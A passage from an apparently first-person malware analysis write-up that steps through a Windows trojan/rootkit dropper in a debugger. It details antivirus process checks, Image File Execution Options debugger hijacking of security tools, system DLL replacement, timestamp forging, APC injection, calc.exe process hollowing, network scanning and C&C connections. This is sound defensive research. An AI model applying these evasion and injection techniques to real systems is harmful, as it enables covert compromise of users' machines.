00 28 02 53 65 74 4E 61 6D 65 64 53 65 eyA.(SetNamedSe 003947D0 63 75 72 69 74 79 49 6E 66 6F 41 00 1F 02 53 65 curityInfoA.Se 003947E0 74 45 6E 74 72 69 65 73 49 6E 41 63 6C 41 00 00 tEntriesInAclA.. 003947F0 23 00 42 75 69 6C 64 45 78 70 6C 69 63 69 74 41 #.BuildExplicitA 00394800 63 63 65 73 73 57 69 74 68 4E 61 6D 65 41 00 00 ccessWithNameA.. 00394810 FF 00 47 65 74 4E 61 6D 65 64 53 65 63 75 72 69 ÿ.GetNamedSecuri 00394820 74 79 49 6E 66 6F 41 00 CD 01 52 65 67 43 72 65 tyInfoA.ÍRegCre 00394830 61 74 65 4B 65 79 45 78 41 00 41 44 56 41 50 49 ateKeyExA.ADVAPI 00394840 33 32 2E 64 6C 6C 00 00 77 01 47 65 74 4D 6F 64 32.dll..wGetMod 00394850 75 6C 65 48 61 6E 64 6C 65 41 00 00 7A 02 4F 70 uleHandleA..zOp 00394860 65 6E 50 72 6F 63 65 73 73 00 8C 02 50 72 6F 63 enProcess.ŒProc 00394870 65 73 73 33 32 4E 65 78 74 00 B3 03 6C 73 74 72 ess32Next.³lstr 00394880 63 6D 70 69 41 00 2E 00 43 6C 6F 73 65 48 61 6E cmpiA...CloseHan 00394890 64 6C 65 00 8A 02 50 72 6F 63 65 73 73 33 32 46 dle.ŠProcess32F 003948A0 69 72 73 74 00 00 6C 00 43 72 65 61 74 65 54 6F irst..l.CreateTo 003948B0 6F 6C 68 65 6C 70 33 32 53 6E 61 70 73 68 6F 74 olhelp32Snapshot 003948C0 00 00 76 03 56 69 72 74 75 61 6C 46 72 65 65 00 ..vVirtualFree. 003948D0 3B 01 47 65 74 43 75 72 72 65 6E 74 50 72 6F 63 ;GetCurrentProc 003948E0 65 73 73 49 64 00 5A 00 43 72 65 61 74 65 4D 75 essId.Z.CreateMu 003948F0 74 65 78 41 00 00 49 00 43 72 65 61 74 65 45 76 texA..I.CreateEv 00394900 65 6E 74 41 00 00 73 03 56 69 72 74 75 61 6C 41 entA..sVirtualA 00394910 6C 6C 6F 63 00 00 87 03 57 69 64 65 43 68 61 72 lloc..‡WideChar 00394920 54 6F 4D 75 6C 74 69 42 79 74 65 00 3A 01 47 65 ToMultiByte.:Ge 00394930 74 43 75 72 72 65 6E 74 50 72 6F 63 65 73 73 00 tCurrentProcess. 00394940 94 03 57 72 69 74 65 46 69 6C 65 00 0E 03 53 65 ”WriteFile.Se 00394950 74 46 69 6C 65 50 6F 69 6E 74 65 72 00 00 B6 03 tFilePointer..¶ 00394960 6C 73 74 72 63 70 79 41 00 00 A9 02 52 65 61 64 lstrcpyA..©Read 00394970 46 69 6C 65 00 00 5B 01 47 65 74 46 69 6C 65 53 File..[GetFileS 00394980 69 7A 65 00 4D 00 43 72 65 61 74 65 46 69 6C 65 ize.M.CreateFile 00394990 41 00 3D 00 43 6F 70 79 46 69 6C 65 41 00 47 03 A.=.CopyFileA.G 003949A0 53 6C 65 65 70 00 BC 03 6C 73 74 72 6C 65 6E 41 Sleep.¼lstrlenA 003949B0 00 00 AD 03 6C 73 74 72 63 61 74 41 00 00 CB 01 ..lstrcatA..Ë 003949C0 47 65 74 54 65 6D 70 50 61 74 68 41 00 00 B2 00 GetTempPathA..². 003949D0 45 78 70 61 6E 64 45 6E 76 69 72 6F 6E 6D 65 6E ExpandEnvironmen 003949E0 74 53 74 72 69 6E 67 73 41 00 AF 00 45 78 69 74 tStringsA.¯.Exit 003949F0 50 72 6F 63 65 73 73 00 83 00 44 65 76 69 63 65 Process.ƒ.Device 00394A00 49 6F 43 6F 6E 74 72 6F 6C 00 77 03 56 69 72 74 IoControl.wVirt 00394A10 75 61 6C 46 72 65 65 45 78 00 53 01 47 65 74 45 ualFreeEx.SGetE 00394A20 78 69 74 43 6F 64 65 54 68 72 65 61 64 00 98 01 xitCodeThread.˜ 00394A30 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 GetProcAddress.. 00394A40 6B 02 4D 75 6C 74 69 42 79 74 65 54 6F 57 69 64 kMultiByteToWid 00394A50 65 43 68 61 72 00 9D 03 57 72 69 74 65 50 72 6F eChar.WritePro 00394A60 63 65 73 73 4D 65 6D 6F 72 79 00 00 83 03 57 61 cessMemory..ƒWa 00394A70 69 74 46 6F 72 53 69 6E 67 6C 65 4F 62 6A 65 63 itForSingleObjec 00394A80 74 00 74 03 56 69 72 74 75 61 6C 41 6C 6C 6F 63 t.tVirtualAlloc 00394A90 45 78 00 00 32 03 53 65 74 54 68 72 65 61 64 43 Ex..2SetThreadC 00394AA0 6F 6E 74 65 78 74 00 00 C5 02 52 65 73 75 6D 65 ontext..ÅResume 00394AB0 54 68 72 65 61 64 00 00 65 02 4D 6F 76 65 46 69 Thread..eMoveFi 00394AC0 6C 65 45 78 41 00 48 02 4C 6F 61 64 4C 69 62 72 leExA.HLoadLibr 00394AD0 61 72 79 41 00 00 CD 01 47 65 74 54 68 72 65 61 aryA..ÍGetThrea 00394AE0 64 43 6F 6E 74 65 78 74 00 00 AF 01 47 65 74 53 dContext..¯GetS 00394AF0 74 61 72 74 75 70 49 6E 66 6F 41 00 52 01 47 65 tartupInfoA.RGe 00394B00 74 45 78 69 74 43 6F 64 65 50 72 6F 63 65 73 73 tExitCodeProcess 00394B10 00 00 B0 00 45 78 69 74 54 68 72 65 61 64 00 00 ..°.ExitThread.. 00394B20 60 00 43 72 65 61 74 65 50 72 6F 63 65 73 73 41 `.CreateProcessA 00394B30 00 00 7C 00 44 65 6C 65 74 65 46 69 6C 65 41 00 ..|.DeleteFileA. 00394B40 64 00 43 72 65 61 74 65 52 65 6D 6F 74 65 54 68 d.CreateRemoteTh 00394B50 72 65 61 64 00 00 C9 01 47 65 74 54 65 6D 70 46 read..ÉGetTempF 00394B60 69 6C 65 4E 61 6D 65 41 00 00 52 02 4C 6F 63 61 ileNameA..RLoca 00394B70 6C 46 72 65 65 00 4E 02 4C 6F 63 61 6C 41 6C 6C lFree.NLocalAll 00394B80 6F 63 00 00 E1 01 47 65 74 56 6F 6C 75 6D 65 49 oc..áGetVolumeI 00394B90 6E 66 6F 72 6D 61 74 69 6F 6E 41 00 45 01 47 65 nformationA.EGe 00394BA0 74 44 69 73 6B 46 72 65 65 53 70 61 63 65 41 00 tDiskFreeSpaceA. 00394BB0 4F 03 54 65 72 6D 69 6E 61 74 65 50 72 6F 63 65 OTerminateProce 00394BC0 73 73 00 00 D5 01 47 65 74 54 69 63 6B 43 6F 75 ss..ÕGetTickCou 00394BD0 6E 74 00 00 56 01 47 65 74 46 69 6C 65 41 74 74 nt..VGetFileAtt 00394BE0 72 69 62 75 74 65 73 41 00 00 08 03 53 65 74 45 ributesA..SetE 00394BF0 72 72 6F 72 4D 6F 64 65 00 00 4B 45 52 4E 45 4C rrorMode..KERNEL 00394C00 33 32 2E 64 6C 6C 00 00 97 02 6D 65 6D 63 70 79 32.dll..—memcpy 00394C10 00 00 99 02 6D 65 6D 73 65 74 00 00 B2 02 73 70 ..™memset..²sp 00394C20 72 69 6E 74 66 00 5E 02 66 72 65 65 00 00 C3 02 rintf.^free..à 00394C30 73 74 72 72 63 68 72 00 91 02 6D 61 6C 6C 6F 63 strrchr.‘malloc 00394C40 00 00 4D 53 56 43 52 54 2E 64 6C 6C 00 00 0F 01 ..MSVCRT.dll.. 00394C50 5F 69 6E 69 74 74 65 72 6D 00 9D 00 5F 61 64 6A _initterm.._adj 00394C60 75 73 74 5F 66 64 69 76 00 00 00 00 00 00 00 00 ust_fdiv........ 00394C70 00 00 00 00 55 D0 89 4C 00 00 00 00 9C 4C 00 00 ....UЉL....œL.. 00394C80 0C 00 00 00 01 00 00 00 00 00 00 00 98 4C 00 00 ...........˜L.. 00394C90 9C 4C 00 00 9C 4C 00 00 48 2D 00 00 6C 7A 6D 61 œL..œL..H-..lzma 00394CA0 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 .dll............
Look at the strings in the list – some of them are really interesting
- wuauserv
- %Systemroot%\sytem32\psapi.dll
- %Systemroot%\system32\wuauclt.exe
- calc
- SYSTEM\CurrentControlSet\Services\%08x..
- Debugger
- ntsd -d
- MACHINE\%sSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
- SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects
- qutmipc.qutmdrv.hookport
- BAPIDRV
(Let’s see if we notice one or more of those strings further down along the road)
The production of binary data/bytes continues : 0x2048 bytes are written to 00395000
0x256 bytes are written to 00397000 :
Then the code continues with a call to GetModuleHandleA("advapi32.dll").
This function returns the base pointer to advapi32.dll and puts it in eax.
Next, a loop of GetProcAddress() calls are executed, looking for the function pointers (pointer to the function name string is put ECX) to the functions in advapi32.dll, kernel32.dll and msvcrt.dll below. (Function pointers are stored at 00394000 + offset)
- CloseServiceHandle
- StartServiceA
- ChangeServiceConfigA
- QueryServiceConfigA
- QueryServiceStatusEx
- OpenServiceA
- OpenSCManagerA
- RegEnumKeyA
- RegCloseKey
- RegQueryInfoKeyA
- RegDeleteKeyA
- RegOpenKeyA
- RegSetValueExA
- RegCreateKeyA
- SetNamedSecurityInfoA
- SetEntriesInAclA
- BuildExplicitAccessWithNameW
- GetNamedSecurityInfoA
- RegCreateKeyExA
- GetModuleHandleA
- OpenProcess
- Process32Next
- lstrcmpiA
- CloseHandle
- Process32First
- CreateToolhelp32Snapshot
- VirtualFree
- GetCurrentProcessId
- CreateMutexA
- CreateEventA
- VirtualAlloc
- WideCharToMultiByte
- GetCurrentProcess
- WriteFile
- SetFilePointer
- lstrcpyA
- ReadFile
- GetFileSize
- CreateFileA
- CopyFileA
- Sleep
- lstrlenA
- lstrcatA
- GetTempPathA
- ExpandEnvironmentStringA
- ExitProcess
- DeviceIoControl
- VirtualFreeEx
- GetExitCodeThread
- GetProcAddress
- MultiByteToWideChar
- WriteProcessMemory
- WaitForSingleObject
- VirtualAllocEx
- SetThreadContext
- ResumeThread
- MoveFileExA
- LoadLibraryA
- GetThreadContext
- GetStartupInfoA
- GetExitCodeProcess
- ExitThread
- CreateProcessA
- DeleteFileA
- CreateRemoteThread
- GetTempFileNameA
- LocalFree
- LocalAlloc
- GetVolumeInformationA
- GetDiskFreeSpaceA
- TerminateProcess
- GetTickCount
- GetFileAttributesA
- setErrorMode
- memcpy
- memset
- sprintf
- free
- strrchr
- malloc
- _initterm
- _adjust_fdiv
The code that was generated in the heap a few moments ago, gets executed (0x00392D48). I already stated that it would be likely to see code being generated/reproduced at runtime, and executed… so here it is …
First, pointers to the strings (which appear to be executables etc) are written to the stack (EBP+offset) :
Combined with the function names we saw earlier, we may see
- services
- drivers
- registry edits
- …
(typical rootkit behaviour – and since the original payload was delivered thru an exploit with system permissions, this rootkit may even be able to hide in the kernel)
Let’s continue.
Function 003911ED is called. That function runs GetModuleHandleA() on ntdll.dll. Then, some pointers are written to EBP-offset
and function 0x00391175 is called, which retrieves a pointer to CsrAllocateCaptureBuffer(). When 003911ED returns, EAX contains 1. The routine continues with loading psapi.dll (LoadLibraryA("psapi")) and then runs ntdll.RtlAdjustPrivilege with parameter 0xA (SeLoadDriverPrivilege)
and ntdll.RtlAdjustPrivilege with parameter 0x14 (SeIncreaseBasePriorityPrivilege)
Next, it calls routine 0x00391421 :
- Allocates 0x400000 bytes of RW memory at 0x008F0000
- Creates event kernel32.CreateEventA(pSecurity = NULL, ManualReset = FALSE, InitiallySignaled = FALSE, EventName = "Safe32.Event")
- Calls kernel32.CreateMutexA(pSecurity = NULL, InitialOwner = FALSE, MutexName = "Safe32.MutantName")
- Calls ntdll.ZwQuerySystemInformation, which returns zero
- Copies data to the newly allocated heap and ends with a pointer to 00901E84 in ESI
- calls kernel32.CloseHandle on hObject 0x3C, 0x38 and
- runs kernel32.VirtualFree() on 0x008F0000
What is weird is that I don’t seem to be able to dump memory at 008F0000 when attached to l.exe…
When the function returns, it retrieves a function pointer and then calls function 0x003912D1 :
Using REP STOS, some data is cleared on the stack (replaced with zero) and then kernel32.CreateToolhelp32Snapshot() is called, with flag TH32CS_SNAPPROCESS, on processID 0
Then, kernel32.Process32First() is called, hSnapshot set to 0x38 and pProcessentry to 0012F748 (00000128). After the first run, call, the stack contains the following string:
0012F748 00000128 (.. 0012F74C 00000000 .... 0012F750 00000000 .... 0012F754 00000000 .... 0012F758 00000000 .... 0012F75C 00000001 ... 0012F760 00000000 .... 0012F764 00000000 .... 0012F768 00000000 .... 0012F76C 7379535B [Sys 0012F770 206D6574 tem 0012F774 636F7250 Proc 0012F778 5D737365 ess] 0012F77C 00000000 .... 0012F780 00000000 .... 0012F784 00000000 .... 0012F788 00000000 ....
Then an iteration/loop is created, where all running processes are listed and a string compare is executed to find out if 360tray.exe is running.
Example : comparing "[System Process]" with "360tray.exe"
This obviously returns -1 (EAX=FFFFFFFF), so Process32Next gets called, the name of the next process is put on the stack, and another compare is executed.
Then, the entire loop is repeated again for the following strings
- 360tray.exe
- avp.exe
- rstray.exe
- kavstart.exe
- nod32krn.exe
- ekrn.exe
- egui.exe
- kpptray.exe
- 360sd.exe
Following these queries, function 0x00392A60 gets called. This function starts infecting the machine by manipulating the registry :
A new registry hive is added (if it does not exist already): HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options. If EAX returns 1 (key does not exist), it will create it.
A key "Debugger" is added for "360tray.exe", with "Buffer" pointing to 003942EC ("ntsd -d")
The code then performs the same registry change for safeboxtray.exe, avp.exe, kavstart.exe, rstray.exe, nod32krn.exe, ekrn.exe, egui.exe, 360sd.exe, 360rp.exe, ZhuDongFangYu.exe, LiveUpdate360.exe
This registry change impacts the user mode part of CreateProcess. Upon launching an executable, the OS looks for a registry entry for the executable and if a Debugger entry is found, it will launch the application defined as "debugger" instead of the application. More info can be found here. It’s a nice way to redirect the execution of code to another binary. ntds is part of the Debugging Tools for Windows.
Option -d :
-d sends all debugger output to kernel debugger via DbgPrint input is requested from the kernel debugger via DbgPrompt -d cannot be used with debugger remoting -d can only be used when the kernel debugger is enabled
(It’s unclear what the actual goal of these registry changes are)
Next, the string "%%Systemroot%%\system32\drivers\EfiMon.sys" is produced using a printf call :
Then, the environment variable is resolved and the string becomes "c:\windows\system32\drivers\EfiMon.sys", followed by a call to GetFileAttributesA on that file. Nice way to find out of the file exists without actually opening it :)
The same routine is repeated for BAPIDRV.sys, hookport.sys, qutmdrv.sys and qutmipc.sys, 360selfprotection.sys (basically all strings found at 00394470 and below).
The pointer to string "{B69F34DD-F0F9-42DC-9EDD-957187DA688D}" is pushed onto the stack and function 0x00392B7C is called, which will try to create registry key "Browser Helper Objects" under HKLM\Microsoft\Windows\CurrentVersion\Explorer (if it does not exist)
In essence, if an object is linked to it, it will facilitate the injection of potentially malicious code within Internet Explorer. Interestingly enough the CLSID itself does not get created at this point. False positive ? Or too early ?
ANyways, it returns to code in the tmp/dll at 100059F1. First, it clears the memory at 0x00390000 (VirtualFree), removing all of the code that was used a few moments ago.
Right after the VirtualFree, it will release the Resource at 0x1000C0B0, it does a VirtualFree on 0x00380000, removes the SEH chain record that was pointing at 0x10005F54, and then returns to 0x00402058 (back to l.exe).
Then, the function to read strings from the string array that was created in l.exe is called, retrieving pointers to a couple of strings. The pointers are then saved on the stack (EBP-offset) :
Next, function 0x10004EF2 is called (which is one of the exported functions in the dll : RMOC3260_7)
In short, the function will :
- load sfc.dll (LoadLibraryA) and run some routines in crypt32.dll (CryptInstallAsn1Module "pfxp", "pfxn", "x509", "pkcs") <- is this an indication that the code is going to sign a file/driver/binary/… ? We’ll see.
- put a pointer to string "%Systemroot%\system32\" into eax
- concatenate rmoc3260.tlb to that string, so the string becomes "%Systemroot%\system32\rmoc3260.tlb"
- expand the environment string %systemroot%, so the string becomes "c:\windows\system32\rmoc3260.tlb"
- copy the .tmp file to c:\windows\system32\rmoc3260.tlb (with FailIfExists flag set to FALSE)
- run GetProcAddress on sfcIsFileProtected(), returning pointer of the function in eax
- build another string that says "c:\windows\system32\actxprxy.dll"
- generate a new temp filename (tempfile B) & copies actxprxy.dll to that tmp file (via function 10004D4B)
md5sum "c:\Documents and Settings\corelan\Local Settings\Temp\52.tmp" \912b67bb8249925a5c972fc5839eae09 *c:\\Documents and Settings\\corelan\\Local Se ttings\\Temp\\52.tmp md5sum "c:\windows\system32\actxprxy.dll" \912b67bb8249925a5c972fc5839eae09 *c:\\windows\\system32\\actxprxy.dll
- Via function 100048CF, this new tmp file is opened (FILE_SHARE_READ, access GENERIC_READ/WRITE) (in essence, the copy of actxproxy.dll is opened)
0012F59C 0012FA98 ˜ú. |FileName = "C:\DOCUME~1\corelan\LOCALS~1\Temp\4B.tmp" 0012F5A0 C0000000 ...À |Access = GENERIC_READ|GENERIC_WRITE 0012F5A4 00000001 ... |ShareMode = FILE_SHARE_READ 0012F5A8 00000000 .... |pSecurity = NULL 0012F5AC 00000003 ... |Mode = OPEN_EXISTING 0012F5B0 00000000 .... |Attributes = 0 0012F5B4 00000000 .... \hTemplateFile = NULL
- filesize is retrieved (0x18000 bytes) (kernel32.GetFileSize)
- VirtualAlloc() call executed (allocation a block of RW memory with the same size as the file) at 0x00380000
- base of kernel32 is retrieved
- length of string "rmoc3260.tlb" is retrieved (= 0xC) (kernel32.lstrlenA)
- read the file into the newly allocated memory block at 0x00380000 (kernel32.ReadFile)
- The contents of 0x00380000 is then written to actxprxy.dll
md5sum "c:\windows\system32\actxprxy.dll" \9f38806e51264cf7d72294b6a01808f2 *c:\\windows\\system32\\actxprxy.dll
- Memory at 0x00380000 is freed
- Run sfc.SfcIsFileProtected against actxprxy.dll (outcome : 1)
- Run function sfc.ordinal nr 5
- c:\windows\system32\actxprxy.dll gets removed
- Copies the new temp file back to c:\windows\system32\actxprxy.dll. (md5 : 9f38806e51264cf7d72294b6a01808f2)
- reads the timestamp of user32.dll and writes the timestamp to rmoc3260.tlb
Rewriting a timestamp is a commonly used technique to make people think the binary is an OS binary – it is located in the system32 folder and it has the same timestamp as the other OS modules, so it must be an OS module, right ?
C:\WINDOWS\system32>md5sum rmoc3260.tlb b1785cd02d83300d4b5be51ab1416c35 *rmoc3260.tlb C:\WINDOWS\system32>dir rmoc3260.tlb Volume in drive C has no label. Volume Serial Number is F0E1-C604 Directory of C:\WINDOWS\system32 14/04/2008 13:00 58.880 rmoc3260.tlb 1 File(s) 58.880 bytes
- call 0x0040178D :
- generate string "c:\Program Files\Real\pnen3260.dll"
- create filehandle from 0x10000000 (handle 0x28)
- create folder "c:\Program Files\Real\" (if it does not exist)
- Get function pointer to GetTaskManWindow
- Copy temp file to c:\Program Files\Real\pnen3260.dll" (md5 : b1785cd02d83300d4b5be51ab1416c35)
- Get function pointer to RtlAdjustPrivilege
- Copy 0x400 byes of payload from l.exe to the stack (from 0x00401518 to 0x0012EA90)
- run RtlAdjustPrivilege (0x14 : SeIncreaseBasePriorityPrivilege)
- run GetTaskManWindow() and then gets a pointer to "Documents and Settings\
\Application Data" - call 0x10004C96 which first calls 0x1000400A (LocalAlloc, Flags = LPTR, Side = 1d0; pointer 0014C270). That function calls 0x10005B20. In that routine, data is copied from 1000B120 to 0014C2E0 (88 bytes)… So it looks like it’s building another payload / copying functions from the dll
Next, a loop at 10004089 completes the payload (strings, pointers to strings) around 0014Cxxx.
This loop eventually returns back to 10004074. At that point, a loop is started (0x160 iterations) which reads strings from the payload around 0014C3xx.
Pointers to those strings are written to an array a little bit above the strings themselves :
Those strings are :
- %APPDATA%\Tencent
- Accept: */*
- _!RKU#PNP#090921!_
- http://
- Software\RealOne
- RVClass
- htmlfile\shell\open\command
- wininet.dll
- .7z
- dnsapi.dll
- %s%s
- iphlpapi.dll
- Plugin2a.Section
- Class
- mswsock.dll
- Session.SessionAcl.%d
- ws2_32.dll
- .exe
- %ProgramFiles%\Real
- ra32clv.dll
- sipr3260.dll
- pngu3267.dll
- shlwapi.dll
- user32.dll
- DialogBoxParam
and then the function returns to 10004CA2.
Now function 0x10002DA2 is called, retrieving pointer to string "kernel32.dll", and returns to 10004CB5, where the baseaddress of kernel32.dll is retrieved first, and then 10004198 is called. In that function, a seh record is inserted (by function 10005F00), pointing the handler to 10005F54.
When that function returns, function 0x10002D8B is called, making EAX point at kernel32.base + F0 (basically pointing to string "PE" in kernel32.dll), and returns.
Next, a loop between 0x100041DD and 1000422E is executed, which gets function names from kernel32, and retrieves the pointer to function (using a hash, calculated at 0x10004177) : kernel32.QueueUserAPC.
Next, the SEH record is removed again (the one that was inserted before retrieving the function name), and the function returns back to 10004CC3. A little bit further, 10004A6E gets called, where user32.GetTaskmanWindow() gets called, and a pointer to "Documents and Settings\
0012EA44 0001007E ~.. |hWnd = 0001007E ('Running Applications',class='MSTaskSwWClass',parent=00010078) 0012EA48 0012EA4C Lê. \pProcessID = 0012EA4C
This returns 0x689 in eax, and then the function returns to 10004CD5.
At 10004CD5, kernel32.OpenProcess() is called on ProcessID 650, returning 0x7C in eax. Then kernel32.VirtualAllocEx is called, with the following arguments:
0012EA44 0000007C |... |Arg1 = 0000007C 0012EA48 00000000 .... |Arg2 = 00000000 0012EA4C 00001000 ... |Arg3 = 00001000 0012EA50 00001000 ... |Arg4 = 00001000 0012EA54 00000040 @... \Arg5 = 00000040
The function returns pointer 00990000. Next, kernel32.WriteProcessMemory() is called, with the following arguments :
0012EA44 0000007C |... |hProcess = 0000007C (window) 0012EA48 00990000 ..™. |Address = 990000 0012EA4C 0012EA90 ê. |Buffer = 0012EA90 0012EA50 00001000 ... |BytesToWrite = 1000 (4096.) 0012EA54 0012EA78 xê. \pBytesWritten = 0012EA78
Then, function 10004A93 is called, which first patches some stuff on the stack and then runs CreateToolhelp32Snapshot() with flags TH32CS_SNAPTHREAD, on ProcessID 0, returning 0x80 in eax.
Then, a loop is initiated (starting with Thread32First, and looping with Thread32Next (on hSnapshot 0x80, and pThreadEntry 0012EA24)), until thread 650 is found.
Then, the thread is opened OpenThread(001F03FF,00000000,0×654), returning 0x84 in eax. This is followed by call to kernel32.QueueUserAPC (with eax pointing at 0x84) and then handle 0x84 is closed.
As a result, a new executable module gets loaded : c:\windows\system32\divxdec.dll, at base 00390000
C:\WINDOWS\system32>md5sum divxdec.dll 1f913d37379cc0d3a8ab069f0e4df19a *divxdec.dll
Function returns, closes handle 7c and function 10002D95 is called, which runs LocalFree() on 0014C298 and then returns.
At 10004D48, the function leaves the dll/tmp code, and returns to 004018CA (l.exe), which returns to 0040215D.
At 0040218C, kernel.FreeLibrary is called (on 10000000), unloading the tmp/flle file. This is followed by a call to DeleteFileA() of the tmp file, removing the file as well.
Time to take a deep breath.
We have seen the code use anti-debugger tricks, SEH structures to redirect flow & maybe fool automated detection tools. The code loaded a tmp file as dll, reproduced code in heap (taking pieces from various locations to do so), executed new code, created threads, unloaded the dll and removed tmp files again.
The code has dropped files, edited registry, removed files. All of that happened within one blink of the eye. Based on the various routines that we used to find function pointers, base addresses etc, we might even suspect that this was written by various people, or pieces of code re-used from other similar malware, or maybe the developer did this on purpose.
Anyways… I think most of the preparation of the malware is done now, and the code is ready to infect… or not ?
Let’s continue…
We are at 00401D90. Here, we observe a call to MSVCRT.memset(s=0012FB50, c=00, n = 0x44), clearing 0x44 bytes on the stack at 0012FB50. Then a memcpy is executed (copying 0x400 bytes from 0012E884 to 00401000), overwriting a big chunck of the .text section in the l.exe file. At first sight, this doesn’t really change the code.
Then, GetModuleFileNameA is run (PathBuffer = 0012EC90, BufSize 0x104), a pointer to strings "calc" is fetched from the string array (at 00333A19), and CreateProcess is called (at 00401E05):
StartupInfo is at 0012FB50 and pProcessInfo is at 0012FB98. The CreateProcess call will load library c:\windows\system32\Apphelp.dll
C:\WINDOWS\system32>md5sum apphelp.dll cf492d7e9af1c628b3536d20ef6f5cc7 *apphelp.dll C:\WINDOWS\system32>dir apphelp.dll Volume in drive C has no label. Volume Serial Number is F0E1-C604 Directory of C:\WINDOWS\system32 14/04/2008 13:00 125.952 apphelp.dll 1 File(s) 125.952 bytes 0 Dir(s) 10.022.322.176 bytes free
ProcessExplorer shows the new calc.exe process :
Then, at 00401E44, VirtualAlloc() is executed, returning pointer 000A0000, and then some data on the stack (around 0012F8A8) is cleared(160 bytes), followed by a call to WriteProcessMemory(), which will write 0x10000 bytes from 0012E884 to the newly allocated heap at 0xA0000.
GetThreadContext() is then called (hThread = 0x90, pContext = 0012F884), writing some bytes to the stack in that area (0012F884). Then, some of those bytes are altered, and next SetThreadContext() (hThread = 0x90, pContext = 0012F884) is called (patching the thread). Finally, ResumeThread on 0x90 is run, followed by ExitProcess(0), terminating l.exe
ProcessExplorer also indicates that calc.exe terminated.
But the game isn’t over.
A few moments later, netstat reveals that something is trying to connect to hosts on the same network range (class B so it seems) and tries to connect to ports 445 and 139. So it looks like it’s now trying to connect (and maybe infect) other machines on the same network… but not only locally… it also starts scanning public IP addresses in the same network.
So maybe calc.exe was spawned & told to do all the really dirty work ?
After rebooting the box, the box seems to connect to "C&C / botmaster" (?) servers
TCP 10.0.2.15:1026 173.244.193.146:80 ESTABLISHED TCP 10.0.2.15:1029 173.244.193.146:443 ESTABLISHED
and proceeds with the scanning :
C:\WINDOWS>netstat -na Active Connections Proto Local Address Foreign Address State TCP 0.0.0.0:135 0.0.0.0:0 LISTENING TCP 0.0.0.0:445 0.0.0.0:0 LISTENING TCP 10.0.2.15:139 0.0.0.0:0 LISTENING TCP 10.0.2.15:1026 173.244.193.146:80 ESTABLISHED TCP 10.0.2.15:1039 10.0.2.2:135 ESTABLISHED TCP 10.0.2.15:1040 10.0.2.3:135 ESTABLISHED TCP 10.0.2.15:1041 10.0.2.4:135 ESTABLISHED TCP 10.0.2.15:1062 10.0.2.3:135 ESTABLISHED TCP 10.0.2.15:1084 10.0.2.2:135 ESTABLISHED TCP 10.0.2.15:1105 10.0.2.4:135 ESTABLISHED TCP 10.0.2.15:1106 10.0.2.2:135 CLOSE_WAIT TCP 10.0.2.15:1107 10.0.2.3:135 CLOSE_WAIT TCP 10.0.2.15:1121 10.0.2.4:135 CLOSE_WAIT TCP 10.0.2.15:1149 10.0.2.1:80 SYN_SENT TCP 127.0.0.1:1025 0.0.0.0:0 LISTENING
The process/task responsible for the network connectivity is PID 4, which is "System"
If we look back at the results (procmon & thread analysis), we can see that a lot more "damage" was done than what was seen in the debugger :
Files changed by l.exe :
C:\WINDOWS\system32\rmoc3260.tlb C:\Documents and Settings\Obzy-CLMAL\Local Settings\Temp\F.tmp C:\Documents and Settings\Obzy-CLMAL\Local Settings\Temp\12.tmp C:\WINDOWS\system32\actxprxy.dll C:\Program Files\Real\pnen3260.dll C:\Documents and Settings\Obzy-CLMAL\Application Data\JSON.kml C:\Documents and Settings\Obzy-CLMAL\Application Data\Tencent\~DF19.exe C:\Documents and Settings\Obzy-CLMAL\Application Data\Tencent\~DF21.exe C:\Documents and Settings\Obzy-CLMAL\Application Data\Tencent\~DF29.exe C:\Documents and Settings\Obzy-CLMAL\Application Data\Tencent\~DF2D.exe C:\Documents and Settings\Obzy-CLMAL\Application Data\Tencent\~DF36.exe C:\Documents and Settings\Obzy-CLMAL\Application Data\Tencent\~DF3A.exe C:\Documents and Settings\Obzy-CLMAL\Application Data\Tencent\~DF3E.exe C:\Documents and Settings\Obzy-CLMAL\Application Data\Tencent\~DF42.exe C:\Documents and Settings\Obzy-CLMAL\Application Data\Tencent\~DF46.exe C:\Documents and Settings\Obzy-CLMAL\Application Data\Tencent\~DF4A.exe C:\Documents and Settings\Obzy-CLMAL\Application Data\Tencent\~DF4E.exe C:\Documents and Settings\Obzy-CLMAL\Application Data\Tencent\~DF53.exe C:\Documents and Settings\Obzy-CLMAL\Application Data\Tencent\~DF57.exe C:\Documents and Settings\Obzy-CLMAL\Application Data\Tencent\~DF5E.exe C:\Documents and Settings\Obzy-CLMAL\Application Data\Tencent\~DF65.exe C:\Documents and Settings\Obzy-CLMAL\Application Data\Tencent\~DF6B.exe C:\Documents and Settings\Obzy-CLMAL\Application Data\Tencent\~DF70.exe C:\Documents and Settings\Obzy-CLMAL\Application Data\Tencent\~DF76.exe C:\Program Files\Common Files\real\Plugins\xmlp1092c.dll C:\Program Files\ComPlus Applications\pncrt.dll C:\Documents and Settings\Obzy-CLMAL\Local Settings\Temp\25.tmp C:\WINDOWS\AppPatch\AcXtrnal.xml C:\WINDOWS\system32\divxdec.dll C:\Documents and Settings\Obzy-CLMAL\Local Settings\Temp\31.tmp C:\Documents and Settings\Obzy-CLMAL\Local Settings\Temp\34.tmp C:\WINDOWS\system32\mswsock.dll C:\Program Files\ComPlus Applications\spcommon.dll C:\Program Files\ComPlus Applications\mssoap2.dll C:\Program Files\ComPlus Applications\XPlayer.dll C:\Program Files\ComPlus Applications\repodbc.dll C:\Program Files\ComPlus Applications\mdw.dll C:\Program Files\ComPlus Applications\regutils.dll C:\Program Files\WinRar\UNACEV32.DLL C:\Program Files\ComPlus Applications\iedw.dll C:\Documents and Settings\Obzy-CLMAL\Local Settings\Temp\kb222545.sve C:\Program Files\Common Files\System\kb222545.tmt C:\WINDOWS\system32\ddraw.dll.dat C:\WINDOWS\system32\ddraw.dll.dat C:\WINDOWS\system32\ddraw.dll.PEFQ C:\WINDOWS\system32\ddraw.dll C:\Documents and Settings\Obzy-CLMAL\Local Settings\Temp\tempVidio.bat C:\Documents and Settings\Obzy-CLMAL\Local Settings\Temp\kb559824.sve C:\Program Files\Common Files\System\kb559824.bwb C:\WINDOWS\system32\dsound.dll.dat C:\WINDOWS\system32\dsound.dll.dat C:\WINDOWS\system32\dsound.dll.CEXU C:\WINDOWS\system32\dsound.dll C:\Documents and Settings\Obzy-CLMAL\Local Settings\Temp\tempVidio.bat C:\Documents and Settings\Obzy-CLMAL\Local 